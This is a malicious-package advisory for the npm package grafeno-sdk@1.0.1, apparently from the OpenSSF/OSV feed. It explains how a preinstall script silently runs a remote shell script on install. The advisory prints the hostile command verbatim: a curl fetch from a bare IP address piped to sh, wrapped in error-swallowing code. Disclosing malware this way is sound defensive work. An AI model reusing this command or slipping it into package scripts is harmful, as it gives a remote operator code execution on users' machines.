OpenSSF/OSV advisory MAL-2026-15508 confirms this npm version as malicious. package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in grafeno-sdk (npm)
Details
package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
Decision reason
OpenSSF Malicious Packages via OSV confirms grafeno-sdk@1.0.1 as malicious (MAL-2026-15508): Malicious code in grafeno-sdk (npm)